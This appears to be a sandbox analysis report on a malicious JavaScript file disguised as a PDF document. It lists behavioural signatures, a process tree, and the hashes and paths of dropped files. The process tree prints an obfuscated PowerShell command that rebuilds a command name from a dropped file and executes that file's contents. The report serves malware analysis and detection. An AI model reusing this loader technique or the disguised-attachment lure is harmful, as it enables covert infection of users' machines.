Overview

overview

10

Static

static

5

PI00230133...pdf.js

windows10-2004-x64

10

PI00230133...pdf.js

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    126s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/06/2026, 12:17

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General

  • Target
    PI0023013311_document_pdf.js
  • Size 743KB
  • Sample260622-pf6b8sb191
  • SHA256 84e004cb51a9e3ad3cd6356d5bc8bc4ee65b0483f9be33a169d95f3fb4e48295
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwareexecutionspyware

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Drops desktop.ini file(s) 3 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 29 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\PI0023013311_document_pdf.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3016
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" C:\Windows
      2⤵
        PID:3512
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Drops desktop.ini file(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4844
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Vand195=gc ($HOME+'/app'+'data/local/Mytersbecr');$Unwilf=$Vand195[2902]+$Vand195[2903]+$Vand195[2904]; . ($Unwilf) $Vand195"
        2⤵
        • Badlisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2844
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:5164
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Vand195=gc ($HOME+'/app'+'data/local/Mytersbecr');$Unwilf=$Vand195[2902]+$Vand195[2903]+$Vand195[2904]; . ($Unwilf) $Vand195"
        1⤵
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:2376
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe"
          2⤵
            PID:5076

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              ModuleAnalysisCache
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
              • Size 67KB
              • SHA256 0f57c6ef4f062e398afd897db02f67d987e3e600973e8f450001f4e6d249b0fe
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 f2f2e7c84c183c5924ca665738ab6baf34b20138fc651eb13a3ad5f3446b523c
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              Masticatef.Fin
              • Path C:\Users\Admin\AppData\Roaming\Masticatef.Fin
              • Size 574KB
              • SHA256 8fa69108341ca048f3fdc8964112c4c074f89b7a5ded14109c81f711af2903a2
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              Mytersbecr
              • Path C:\Users\Admin\appdata\local\Mytersbecr
              • Size 2KB
              • SHA256 da4c66c9bfe5756126cf0aa7b43794e99026935bb3135d14e89c7ea87f5b401e
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              memory/2376-14-0x0000023319FB0000-0x000002331DE07000-memory.dmp
              Download

              memory/2844-1-0x0000026C34D10000-0x0000026C34D32000-memory.dmp
              Download

              memory/5076-15-0x000001DE60520000-0x000001DE605E4000-memory.dmp
              Download